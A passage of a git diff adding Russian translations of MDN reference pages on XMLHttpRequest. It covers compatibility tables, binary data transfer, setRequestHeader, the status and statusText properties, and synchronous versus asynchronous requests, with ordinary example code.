+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('12')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(URLSearchParams)</code></td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBuffer)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBufferView)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(Blob)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(FormData)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(URLSearchParams)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Возможность реализуется с помощью <code>ActiveXObject()</code>. Начиная с версии 7 Internet Explorer реализует стандарт <code>XMLHttpRequest</code>.</p>
+
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
new file mode 100644
index 0000000000..9cc9ae0a35
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
@@ -0,0 +1,171 @@
+---
+title: Отправка и получение бинарных данных
+slug: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
+---
+<h2 id="Receiving_binary_data_using_JavaScript_typed_arrays" name="Receiving_binary_data_using_JavaScript_typed_arrays">Получение бинарных данных используя JavaScript arrays </h2>
+
+<p>Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.</p>
+
+<p>В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится <a href="https://github.com/devongovett/png.js/">библиотека декодирования png</a>.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function (oEvent) {
+  var arrayBuffer = oReq.response; // Note: not oReq.responseText
+  if (arrayBuffer) {
+    var byteArray = new Uint8Array(arrayBuffer);
+    for (var i = 0; i &lt; byteArray.byteLength; i++) {
+      // do something with each byte in the array
+    }
+  }
+};
+
+oReq.send(null);
+</pre>
+
+<p>Альтернатива вышеуказанному методу использует интерфейс {{domxref("Blob")}} для непосредственного построения Blob с данными arraybuffer.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function(oEvent) {
+  var blob = new Blob([oReq.response], {type: "image/png"});
+  // ...
+};
+
+oReq.send();
+</pre>
+
+<p>Также вы можете прочитать двоичный файл как {{domxref ("Blob")}}, установив строку" blob " в свойство responseType.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "blob";
+
+oReq.onload = function(oEvent) {
+  var blob = oReq.response;
+  // ...
+};
+
+oReq.send();</pre>
+
+<h2 id="Receiving_binary_data_in_older_browsers" name="Receiving_binary_data_in_older_browsers">Получение бинарных данных в старых браузерах</h2>
+
+<p>Функция load_binary_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.</p>
+
+<pre class="brush: js notranslate">function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text\/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+</pre>
+
+<p>Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.</p>
+
+<pre class="brush: js notranslate">var filestream = load_binary_resource(url);
+var abyte = filestream.charCodeAt(x) &amp; 0xff; // throw away high-order byte (f7)
+</pre>
+
+<p>The example above fetches the byte at offset <code>x</code> within the loaded binary data. The valid range for <code>x</code> is from 0 to <code>filestream.length-1</code>.</p>
+
+<p>See <a href="http://web.archive.org/web/20071103070418/http://mgran.blogspot.com/2006/08/downloading-binary-streams-with.html">downloading binary streams with XMLHttpRequest</a> for a detailed explanation. See also <a href="/en-US/docs/Code_snippets/Downloading_Files" title="Code_snippets/Downloading_Files">downloading files</a>.</p>
+
+<h2 id="Получение_бинарных_данных_из_различных_источников">Получение бинарных данных из различных источников</h2>
+
+<p>Библиотека <a href="https://github.com/jDataView/jBinary">jBinary</a> для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем броузере или Node.js:</p>
+
+<pre class="brush: js notranslate">jBinary.load(url).then(function (binary) {
+  // здесь аргумент `binary` может использовться для обработки данных
+  // в любом формате (строка, массив байтов, структура данных и т. д.)
+});
+</pre>
+
+<h2 id="Sending_binary_data" name="Sending_binary_data">Отправка бинарных данных</h2>
+
+<p>Метод <code>send</code> объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, или {{domxref("File")}}.</p>
+
+<p>В примере ниже на лету создается текстовый файл и отпрвляется методом <code>POST</code> на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.</p>
+
+<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("POST", url, true);
+oReq.onload = function (oEvent) {
+  // Uploaded.
+};
+
+var blob = new Blob(['abc123'], {type: 'text/plain'});
+
+oReq.send(blob);
+</pre>
+
+<h2 id="Sending_typed_arrays_as_binary_data" name="Sending_typed_arrays_as_binary_data">Отправка типизированнх массивов как бинарных данных</h2>
+
+<p>Точно так же можно отправлять типизированные массивы JavaScript.</p>
+
+<pre class="brush: js notranslate">var myArray = new ArrayBuffer(512);
+var longInt8View = new Uint8Array(myArray);
+
+for (var i=0; i&lt; longInt8View.length; i++) {
+  longInt8View[i] = i % 255;
+}
+
+var xhr = new XMLHttpRequest;
+xhr.open("POST", url, false);
+xhr.send(myArray);
+</pre>
+
+<p>Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.</p>
+
+<div class="note"><strong>Примечание:</strong> Поддержка передачи объектов <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. <strong>Add information about other browsers' support here.</strong></div>
+
+<h2 id="Submitting_forms_and_uploading_files" name="Submitting_forms_and_uploading_files">Отправка форм и загрузка файлов</h2>
+
+<p>См. <a href="/ru/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">этот параграф</a>.</p>
+
+<h2 id="Firefox-specific_examples" name="Firefox-specific_examples">Примеры для Firefox</h2>
+
+<p>В этом примере двоичные данные передаются асинхронно методом <code>POST</code> и нестандартным методом Firefox's <code>sendAsBinary()</code>.</p>
+
+<pre class="brush: js notranslate">var req = new XMLHttpRequest();
+req.open("POST", url, true);
+// установите заголовок и тип данных
+req.setRequestHeader("Content-Length", 741);
+req.sendAsBinary(aBody);
+</pre>
+
+<p>В строке 4 заголовок Content-Length устанавливается в 741, что означает, что размер данных 741 байт. Разумеется, это значение должно соотвествовать реальному размеру данных.</p>
+
+<p>В строке 5 метод <code>sendAsBinary()</code> начинает запрос.</p>
+
+<div class="note"><strong>Примечание:</strong> Нестандартный метод <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод <code>send(Blob data)</code>.</div>
+
+<p>Кроме того, чтобы отправить бинарные данные можно передать экземплят {{interface("nsIFileInputStream")}} в метод <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. В этом случае заголовок <code>Content-Length</code> заполнять явно необязательно, поскольку информация получается из потока автоматически:</p>
+
+<pre class="brush: js notranslate">// Создание потока из файла.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance
+
+// Попытка опредедения типа MIME для файла
+var mimeType = "text\/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"]
+          .getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file is an nsIFile instance
+}
+catch (oEvent) { /* в случае ошибки просто использовать text/plain */ }
+
+// Отправка
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* синхронный вызов! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+</pre>
diff --git a/files/ru/web/api/xmlhttprequest/setrequestheader/index.html b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..24951fda1c
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,110 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.setRequestHeader()</strong> устанавливает значения HTTP заголовков. Метод <code>setRequestHeader()</code>  следует вызывать только после  <code>open()</code>, но до <code>send()</code>. Если метод вызывается несколько раз подряд, значения присоединяется к одному и тому же заголовку.</p>
+
+<p>Если заголовок {{HTTPHeader("Accept")}} не был установлен, то он будет передан в запросе со значением <code>*/*</code> когда будет вызван метод {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+
+<p>В целях безопасности, некоторые заголовки не могут быть установлены программно. Для более подробной информации, смотрите {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  и {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.</p>
+
+<div class="note">
+<p>Для ваших собственных полей, вы можете увидеть исключение "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>", когда вы делаете кросс-доменный запрос. В этом случае, вам нужно установить заголовок "Access-Control-Allow-Headers" в ответе на стороне сервера.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.setRequestHeader(<var>header</var>, <var>value</var>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>Имя устанавливаемого заголовка</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение, которое будет установлено как тело заголовка</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Эта особенность была реализована через ActiveXObject(). Internet Explorer реализует стандарт XMLHttpRequest начиная с версии 7.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></p>
diff --git a/files/ru/web/api/xmlhttprequest/status/index.html b/files/ru/web/api/xmlhttprequest/status/index.html
new file mode 100644
index 0000000000..be8763b829
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/status/index.html
@@ -0,0 +1,77 @@
+---
+title: XMLHttpRequest.status
+slug: Web/API/XMLHttpRequest/status
+tags:
+  - API
+  - Error
+  - Property
+  - Reference
+  - XMLHttpRequest
+  - XMLHttpRequest Status
+  - result
+  - status
+translation_of: Web/API/XMLHttpRequest/status
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>Доступное только для чтения свойство <code><strong>XMLHttpRequest.status</strong></code>, возвращает числовой <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">код состояния</a> HTTP ответа <code>XMLHttpRequest</code>.</p>
+
+<p>До завершения запроса значение <code>status</code> равно 0. Браузеры также сообщают о состоянии 0 в случае ошибок <code>XMLHttpRequest</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest;
+console.log('UNSENT: ', xhr.status);
+
+xhr.open('GET', '/server');
+console.log('OPENED: ', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING: ', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE: ', xhr.status);
+};
+
+xhr.send();
+
+/**
+ * Outputs the following:
+ *
+ * UNSENT: 0
+ * OPENED: 0
+ * LOADING: 200
+ * DONE: 200
+ */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-status-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.status")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Список <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/statustext/index.html b/files/ru/web/api/xmlhttprequest/statustext/index.html
new file mode 100644
index 0000000000..9db0ccb806
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/statustext/index.html
@@ -0,0 +1,78 @@
+---
+title: XMLHttpRequest.statusText
+slug: Web/API/XMLHttpRequest/statusText
+tags:
+  - AJAX
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - XMLHttpRequest
+  - XMLHttpRequest Status
+translation_of: Web/API/XMLHttpRequest/statusText
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<div>
+<p>Свойство <code><strong>XMLHttpRequest.statusText</strong></code>, доступное только для чтения, возвращает строку <code>DOMString</code>, содержащую сообщение о состоянии ответа, возвращаемое HTTP-сервером. В отличие от <code>XMLHTTPRequest.status</code>, который указывает числовой код состояния, это свойство содержит текст состояния ответа, например «OK» или «Not Found». Если запрос <code>readyState </code>находится в состоянии <code>UNSENT </code>или <code>OPENED</code>, значением <code>statusText </code>будет пустая строка.</p>
+
+<p>Если в ответе сервера явно не указан текст состояния, для <code>statusText </code>будет принято значение по умолчанию «ОК».</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('0 UNSENT', xhr.statusText);
+
+xhr.open('GET', '/server', true);
+console.log('1 OPENED', xhr.statusText);
+
+xhr.onprogress = function () {
+  console.log('3 LOADING', xhr.statusText);
+};
+
+xhr.onload = function () {
+  console.log('4 DONE', xhr.statusText);
+};
+
+xhr.send(null);
+
+/**
+ * Outputs the following:
+ *
+ * 0 UNSENT
+ * 1 OPENED
+ * 3 LOADING OK
+ * 4 DONE OK
+ */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-statustext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.statusText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Список <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..ad5e6f8c2c
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,234 @@
+---
+title: Синхронные и асинхронные запросы
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p> </p>
+
+<p><code>XMLHttpRequest</code> поддерживает как синхронные, так и асинхронные запросы. В основном предпочтительно использовать асинхронные запросы вместо синхронных из-за соображений производительности.</p>
+
+<p>Синхронный запрос приводит к выполнению кода, который "блокирует" взаимодействие с вкладкой браузера до тех пор, пока запрос не будет полность выполнен, что существенно ухудшает отклик страницы.</p>
+
+<h2 id="Асинхронные_запросы">Асинхронные запросы</h2>
+
+<p>Если вы используете асинхронный режим <code>XMLHttpRequest</code>, то после того, как данные будут получены, будет вызвана функция обработчик. Это позволяет браузеру работать нормально пока ваш запрос будет обрабатываться.</p>
+
+<h3 id="Пример_отправка_запроса_и_получение_файла_ответа">Пример:  отправка запроса и получение файла ответа</h3>
+
+<p><code>Приведём простейший пример асинхронного запроса XMLHttpRequest</code>.</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>2 строка. 3 параметр метода <code>open</code> установлен как <code>true</code>  для того, чтобы явно указать, что этот запрос будет обрабатываться асинхронно.</p>
+
+<p>3 строка. Создаётся функция обработчик события <code>onload</code>. Этот обработчик следить за параметром <code>readyState</code>, для того, чтобы определить завершена ли передача данных и если это так и HTTP статус 200, то полученные данные выводятся в консоль. А если в результате передачи данных возникла ошибка, то сообщение об ошибки будет выведено в консоль.</p>
+
+<p>15 строка. Происходит инициализация отправки запроса. Функция обработчик будет вызываться каждый раз, как будет происходить изменения состояния данного запроса.</p>
+
+<h3 id="Пример_создание_стандартной_функции_для_чтения_внешних_файлов">Пример: создание стандартной функции для чтения внешних файлов</h3>
+
+<p>В разных сценариях существует необходимость принимать внешние файлы (ответ от сервера, к примеру, json файл). Это стандартная функция, которая использует<br>
+ <code>XMLHttpRequest</code> объект асинхронно, чтобы передать прочитанный контент в специальную функцию обработчик.</p>
+
+<pre class="brush: js">function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+</pre>
+
+<p>Использование:</p>
+
+<pre class="brush: js">function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>Сигнатура вспомогательной функции <code>LoadFile</code> следующая: 1 аргумент - URL адрес для запроса (через HTTP GET), 2 аргумент - функция, которая будет вызвана после успешного выполнения ajax запроса и 3 аргумент - список аргументов, которые будут передаваться через XHR объект в функцию, которая была указана во 2 аргументе.</p>
+
+<p>Строка 1 определяет функцию, которая будет вызвана, когда ajax запрос завершиться успешно. В свою очередь это вызовет функции callback, которая была указана в вызове функции <code>loadFile</code> (то есть функция <code>showMessage</code>) которая была обозначена как свойство <code>XHR</code> объекта (строка 11). Дополнительные аргументы, которые были указаны при вызове функции <code>loadFile</code>, подставляются в вызов callback функции.</p>
+
+<p>Строка 5 определяет функцию, которая будет вызвана в случаи, если ajax запрос не сможет завершиться успешно.</p>
+
+<p>Строка 11 сохраняет в <code>XHR</code> объекте функцию, которая будет вызвана после успешного завершения ajax запроса. (эта функция передаётся 2 аргументов в вызове функции <code>loadFile</code>).</p>
+
+<p>12 строка срезает псевдомассив аргументов, который был передан при вызове функции <code>loadFile</code>. Начиная с 3 аргумента все аргументы будут хранится в массиве arguments объекта <code>xhr</code>, который передаётся в функцию <code>xhrSuccess</code> и в конечном итоге будут использованы при вызове функции <code>showMessage</code>, которая будет вызвана функцией <code>xhrSuccess</code> .</p>
+
+<p>Строка 15 устанавливает <code>true</code> для 3 параметра, что явно указывает на то, что запрос будет выполняться асинхронно.</p>
+
+<p>Строка 16 инициализирует запрос.</p>
+
+<h3 id="Пример_использование_timeout">Пример: использование timeout</h3>
+
+<p>При использовании асинхронных запросов, можно установить максимальное время ожидания ответа от сервера. Это делается путём установки значения свойства <code>timeout</code> <code>XMLHttpRequest</code> объекта, как показано ниже:</p>
+
+<pre class="brush: js">function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}</pre>
+
+<p>Отметим, что в код была добавлена функция обработчик события <code>ontimeout</code>.</p>
+
+<p>Использование:</p>
+
+<pre class="brush: js">function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>2 аргумент функции <code>loadFile</code> устанавливает время ожидание равное 2000ms.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> Поддержка <code>timeout</code> была добавлена начиная с {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.</p>
+
+<p>All new XHR features such as <code>timeout</code> or <code>abort</code> aren't allowed for synchronous XHR. Doing so would invoke <code>InvalidAccessError</code>.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request. The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
